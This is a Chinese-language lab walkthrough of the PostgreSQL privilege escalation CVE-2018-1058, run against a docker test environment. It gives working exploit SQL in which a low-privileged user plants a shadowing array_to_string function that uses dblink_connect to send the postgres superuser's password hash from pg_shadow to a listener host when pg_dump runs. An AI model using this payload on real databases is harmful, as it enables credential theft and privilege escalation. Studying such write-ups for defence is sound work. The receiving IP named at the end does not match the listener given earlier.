PostgreSQL 提權漏洞(CVE-2018-1058)

前言

PostgreSQL 是一款關係型數據庫。其9.3到10版本中存在一個邏輯錯誤,導致超級用戶在不知情的情況下觸發普通用戶創建的惡意代碼,導致執行一些不可預期的操作。

漏洞環境

啓動存在漏洞的環境:

docker-compose up -d

環境啓動後,將在本地開啓PG默認的5432端口。

參考上述鏈接中的第二種利用方式,我們先通過普通用戶vulhub:vulhub的身份登錄postgres: psql --host your-ip --username vulhub

執行如下語句後退出:

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$

    select dblink_connect((select 'hostaddr=192.168.111.129 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));

    SELECT pg_catalog.array_to_string($1,$2);

$$ LANGUAGE SQL VOLATILE;

然後我在192.168.111.129上監聽5433端口,等待超級用戶觸發我們留下的這個“後門”。

(假裝自己是超級用戶)在靶場機器下,用超級用戶的身份執行pg_dump命令:docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub,導出vulhub這個數據庫的內容。

執行上述命令的同時,“後門”已被觸發,10.0.0.1機器上已收到敏感信息:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章